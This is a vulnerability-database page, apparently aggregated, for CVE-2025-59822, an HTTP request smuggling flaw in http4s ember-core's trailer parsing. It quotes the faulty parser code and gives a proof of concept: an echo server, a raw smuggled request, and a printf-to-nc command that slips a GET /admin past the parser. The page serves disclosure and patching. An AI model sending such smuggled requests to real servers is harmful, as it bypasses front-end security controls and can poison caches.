github - ghsa-wcwh-7gfw-5wrr

GHSA-WCWH-7GFW-5WRR

Vulnerability from github – Published: 2025-09-23 17:37 – Updated: 2025-10-13 15:20

Summary

Http4s vulnerable to HTTP Request Smuggling due to improper handling of HTTP trailer section

Details

Summary

http4s is vulnerable to HTTP Request Smuggling due to improper handling of HTTP trailer section. This vulnerability could enable attackers to: - Bypass front-end servers security controls - Launch targeted attacks against active users - Poison web caches

Pre-requisites for the exploitation: the web appication has to be deployed behind a reverse-proxy that forwards trailer headers.

Details

The HTTP chunked message parser, after parsing the last body chunk, calls parseTrailers (ember-core/shared/src/main/scala/org/http4s/ember/core/ChunkedEncoding.scala#L122-142). This method parses the trailer section using Parser.parse, where the issue originates.

parse has a bug that allows to terminate the parsing before finding the double CRLF condition: when it finds an header line that does not include the colon character, it continues parsing with state=false looking for the header name till reaching the condition else if (current == lf && (idx > 0 && message(idx - 1) == cr)) that sets complete=true even if no \r\n\r\n is found.

if (current == colon) {
  state = true // set state to check for header value
  name = new String(message, start, idx - start) // extract name string
  start = idx + 1 // advance past colon for next start

  // TODO: This if clause may not be necessary since the header value parser trims
  if (message.size > idx + 1 && message(idx + 1) == space) {
    start += 1 // if colon is followed by space advance again
    idx += 1 // double advance index here to skip the space
  }
  // double CRLF condition - Termination of headers
} else if (current == lf && (idx > 0 && message(idx - 1) == cr)) { // <----- not a double CRLF check
  complete = true // completed terminate loop
}

The remainder left in the buffer is then parsed as another request leading to HTTP Request Smuggling.

PoC

Start a simple webserver that echoes the received requests:

import cats.effect._
import cats.implicits._
import org.http4s._
import org.http4s.dsl.io._
import org.http4s.ember.server.EmberServerBuilder
import org.http4s.server.Router
import org.http4s.server.middleware.RequestLogger
import org.typelevel.log4cats.LoggerFactory
import org.typelevel.log4cats.slf4j.Slf4jFactory
import com.comcast.ip4s._

object ExploitServer extends IOApp {

  implicit val loggerFactory: LoggerFactory[IO] = Slf4jFactory.create[IO]

  val echoService: HttpRoutes[IO] = HttpRoutes.of[IO] {
    case req @ _ =>
      for {
        bodyStr <- req.bodyText.compile.string
        method = req.method.name
        uri = req.uri.toString()
        version = req.httpVersion.toString
        headers = req.headers.headers.map { header =>
          s"${header.name.toString.toLowerCase}: ${header.value}"
        }.mkString("\n")

        responseText = s"""$method $uri $version
$headers

$bodyStr

"""
        result <- Ok(responseText)
      } yield result
  }

  val httpApp = RequestLogger.httpApp(logHeaders = true, logBody = true)(
    Router("/" -> echoService).orNotFound
  )

  override def run(args: List[String]): IO[ExitCode] = {
    EmberServerBuilder
      .default[IO]
      .withHost(ipv4"0.0.0.0")
      .withPort(port"8080")
      .withHttpApp(httpApp)
      .build
      .use { server =>
        IO.println(s"Server started at http://0.0.0.0:8080") >> IO.never
      }
      .as(ExitCode.Success)
  }
}

build.sbt

ThisBuild / scalaVersion := "2.13.15"

val http4sVersion = "0.23.30"

lazy val root = (project in file("."))
  .settings(
    name := "http4s-echo-server",
    libraryDependencies ++= Seq(
      "org.http4s" %% "http4s-ember-server" % http4sVersion,
      "org.http4s" %% "http4s-dsl" % http4sVersion,
      "org.http4s" %% "http4s-circe" % http4sVersion,
      "ch.qos.logback" % "logback-classic" % "1.4.11",
      "org.typelevel" %% "log4cats-slf4j" % "2.6.0",
    )
  )

Send the following request:

POST / HTTP/1.1
Host: localhost
Transfer-Encoding: chunked

2
aa
0
Test: smuggling
a
GET /admin HTTP/1.1
Host: localhost

You can do that with the following command: printf 'POST / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\n\r\n2\r\naa\r\n0\r\nTest: smuggling\r\na\r\nGET /admin HTTP/1.1\r\nHost: localhost\r\n\r\n' | nc localhost 8080

You will see that the request is interpreted as two separate requests

16:18:02.015 [io-compute-19] INFO org.http4s.server.middleware.RequestLogger -- HTTP/1.1 POST / Headers(Host: localhost, Transfer-Encoding: chunked) body="aa"
16:18:02.027 [io-compute-19] INFO org.http4s.server.middleware.RequestLogger -- HTTP/1.1 GET /admin Headers(Host: localhost)

Severity ?

6.3 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-ember-core_2.12"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.23.31"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-ember-core_2.13"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.23.31"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-ember-core_3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.23.31"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-ember-core_2.13"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0-M1"
            },
            {
              "fixed": "1.0.0-M45"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-ember-core_3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0-M1"
            },
            {
              "fixed": "1.0.0-M45"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-59822"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-23T17:37:23Z",
    "nvd_published_at": "2025-09-23T19:15:42Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nhttp4s is vulnerable to HTTP Request Smuggling due to improper handling of HTTP trailer section.\nThis vulnerability could enable attackers to:\n- Bypass front-end servers security controls\n- Launch targeted attacks against active users\n- Poison web caches\n\nPre-requisites for the exploitation: the web appication has to be deployed behind a reverse-proxy that forwards trailer headers.\n\n### Details\nThe HTTP chunked message parser, after parsing the last body chunk, calls `parseTrailers` (`ember-core/shared/src/main/scala/org/http4s/ember/core/ChunkedEncoding.scala#L122-142`).\nThis method parses the trailer section using `Parser.parse`, where the issue originates.\n\n`parse` has a bug that allows to terminate the parsing before finding the double CRLF condition: when it finds an header line that **does not include the colon character**, it continues parsing with `state=false` looking for the header name till reaching the condition `else if (current == lf \u0026\u0026 (idx \u003e 0 \u0026\u0026 message(idx - 1) == cr))` that sets `complete=true` even if no `\\r\\n\\r\\n` is  found.\n```scala\nif (current == colon) {\n  state = true // set state to check for header value\n  name = new String(message, start, idx - start) // extract name string\n  start = idx + 1 // advance past colon for next start\n\n  // TODO: This if clause may not be necessary since the header value parser trims\n  if (message.size \u003e idx + 1 \u0026\u0026 message(idx + 1) == space) {\n    start += 1 // if colon is followed by space advance again\n    idx += 1 // double advance index here to skip the space\n  }\n  // double CRLF condition - Termination of headers\n} else if (current == lf \u0026\u0026 (idx \u003e 0 \u0026\u0026 message(idx - 1) == cr)) { // \u003c----- not a double CRLF check\n  complete = true // completed terminate loop\n}\n```\nThe remainder left in the buffer is then parsed as another request leading to HTTP Request Smuggling.\n\n### PoC\n\nStart a simple webserver that echoes the received requests:\n```scala\nimport cats.effect._\nimport cats.implicits._\nimport org.http4s._\nimport org.http4s.dsl.io._\nimport org.http4s.ember.server.EmberServerBuilder\nimport org.http4s.server.Router\nimport org.http4s.server.middleware.RequestLogger\nimport org.typelevel.log4cats.LoggerFactory\nimport org.typelevel.log4cats.slf4j.Slf4jFactory\nimport com.comcast.ip4s._\n\nobject ExploitServer extends IOApp {\n\n  implicit val loggerFactory: LoggerFactory[IO] = Slf4jFactory.create[IO]\n\n  val echoService: HttpRoutes[IO] = HttpRoutes.of[IO] {\n    case req @ _ =\u003e\n      for {\n        bodyStr \u003c- req.bodyText.compile.string\n        method = req.method.name\n        uri = req.uri.toString()\n        version = req.httpVersion.toString\n        headers = req.headers.headers.map { header =\u003e\n          s\"${header.name.toString.toLowerCase}: ${header.value}\"\n        }.mkString(\"\\n\")\n        \n        responseText = s\"\"\"$method $uri $version\n$headers\n\n$bodyStr\n\n\"\"\"\n        result \u003c- Ok(responseText)\n      } yield result\n  }\n\n  val httpApp = RequestLogger.httpApp(logHeaders = true, logBody = true)(\n    Router(\"/\" -\u003e echoService).orNotFound\n  )\n\n  override def run(args: List[String]): IO[ExitCode] = {\n    EmberServerBuilder\n      .default[IO]\n      .withHost(ipv4\"0.0.0.0\")\n      .withPort(port\"8080\")\n      .withHttpApp(httpApp)\n      .build\n      .use { server =\u003e\n        IO.println(s\"Server started at http://0.0.0.0:8080\") \u003e\u003e IO.never\n      }\n      .as(ExitCode.Success)\n  }\n}\n```\n\n`build.sbt`\n```\nThisBuild / scalaVersion := \"2.13.15\"\n\nval http4sVersion = \"0.23.30\"\n\nlazy val root = (project in file(\".\"))\n  .settings(\n    name := \"http4s-echo-server\",\n    libraryDependencies ++= Seq(\n      \"org.http4s\" %% \"http4s-ember-server\" % http4sVersion,\n      \"org.http4s\" %% \"http4s-dsl\" % http4sVersion,\n      \"org.http4s\" %% \"http4s-circe\" % http4sVersion,\n      \"ch.qos.logback\" % \"logback-classic\" % \"1.4.11\",\n      \"org.typelevel\" %% \"log4cats-slf4j\" % \"2.6.0\",\n    )\n  )\n```\n\nSend the following request:\n```http\nPOST / HTTP/1.1\nHost: localhost\nTransfer-Encoding: chunked\n\n2\naa\n0\nTest: smuggling\na\nGET /admin HTTP/1.1\nHost: localhost\n\n```\n\nYou can do that with the following command:\n`printf \u0027POST / HTTP/1.1\\r\\nHost: localhost\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n2\\r\\naa\\r\\n0\\r\\nTest: smuggling\\r\\na\\r\\nGET /admin HTTP/1.1\\r\\nHost: localhost\\r\\n\\r\\n\u0027 | nc localhost 8080`\n\nYou will see that the request is interpreted as two separate requests\n```\n16:18:02.015 [io-compute-19] INFO org.http4s.server.middleware.RequestLogger -- HTTP/1.1 POST / Headers(Host: localhost, Transfer-Encoding: chunked) body=\"aa\"\n16:18:02.027 [io-compute-19] INFO org.http4s.server.middleware.RequestLogger -- HTTP/1.1 GET /admin Headers(Host: localhost)\n```",
  "id": "GHSA-wcwh-7gfw-5wrr",
  "modified": "2025-10-13T15:20:21Z",
  "published": "2025-09-23T17:37:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/http4s/http4s/security/advisories/GHSA-wcwh-7gfw-5wrr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59822"
    },
    {
      "type": "WEB",
      "url": "https://github.com/http4s/http4s/commit/dd518f7c967e5165813b8d4a48a82b8fab852d41"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/http4s/http4s"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Http4s vulnerable to HTTP Request Smuggling due to improper handling of HTTP trailer section"
}

CVE-2025-59822 (GCVE-0-2025-59822)

Vulnerability from cvelistv5 – Published: 2025-09-23 18:54 – Updated: 2025-09-23 19:17

Summary

Http4s is a Scala interface for HTTP services. In versions from 1.0.0-M1 to before 1.0.0-M45 and before 0.23.31, http4s is vulnerable to HTTP Request Smuggling due to improper handling of HTTP trailer section. This vulnerability could enable attackers to bypass front-end servers security controls, launch targeted attacks against active users, and poison web caches. A pre-requisite for exploitation involves the web application being deployed behind a reverse-proxy that forwards trailer headers. This issue has been patched in versions 1.0.0-M45 and 0.23.31.

Severity ?

6.3 (Medium)


                        
                          CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

CWE

CWE-444 - Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')

Assigner

GitHub_M

References

URL

Tags

	https://github.com/http4s/http4s/security/advisor…	x_refsource_CONFIRM
	https://github.com/http4s/http4s/commit/dd518f7c9…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	http4s	http4s	Affected: < 0.23.31 Affected: >= 1.0.0-M1, < 1.0.0-M45

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JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-59822",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-09-23T19:15:00.938453Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
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        "providerMetadata": {
          "dateUpdated": "2025-09-23T19:17:26.320Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/http4s/http4s/security/advisories/GHSA-wcwh-7gfw-5wrr"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "http4s",
          "vendor": "http4s",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.23.31"
            },
            {
              "status": "affected",
              "version": "\u003e= 1.0.0-M1, \u003c 1.0.0-M45"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Http4s is a Scala interface for HTTP services. In versions from 1.0.0-M1 to before 1.0.0-M45 and before 0.23.31, http4s is vulnerable to HTTP Request Smuggling due to improper handling of HTTP trailer section. This vulnerability could enable attackers to bypass front-end servers security controls, launch targeted attacks against active users, and poison web caches. A pre-requisite for exploitation involves the web application being deployed behind a reverse-proxy that forwards trailer headers. This issue has been patched in versions 1.0.0-M45 and 0.23.31."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "PRESENT",
            "attackVector": "NETWORK",
            "baseScore": 6.3,
            "baseSeverity": "MEDIUM",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "LOW"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-444",
              "description": "CWE-444: Inconsistent Interpretation of HTTP Requests (\u0027HTTP Request/Response Smuggling\u0027)",
              "lang": "en",
              "type": "CWE"
            }
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      "providerMetadata": {
        "dateUpdated": "2025-09-23T18:54:42.867Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
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        },
        {
          "name": "https://github.com/http4s/http4s/commit/dd518f7c967e5165813b8d4a48a82b8fab852d41",
          "tags": [
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          "url": "https://github.com/http4s/http4s/commit/dd518f7c967e5165813b8d4a48a82b8fab852d41"
        }
      ],
      "source": {
        "advisory": "GHSA-wcwh-7gfw-5wrr",
        "discovery": "UNKNOWN"
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      "title": "Http4s vulnerable to HTTP Request Smuggling due to improper handling of HTTP trailer section"
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    "datePublished": "2025-09-23T18:54:42.867Z",
    "dateReserved": "2025-09-22T14:34:03.470Z",
    "dateUpdated": "2025-09-23T19:17:26.320Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-WCWH-7GFW-5WRR

Summary

Details

PoC

CVE-2025-59822 (GCVE-0-2025-59822)

Tags

Sightings

Nomenclature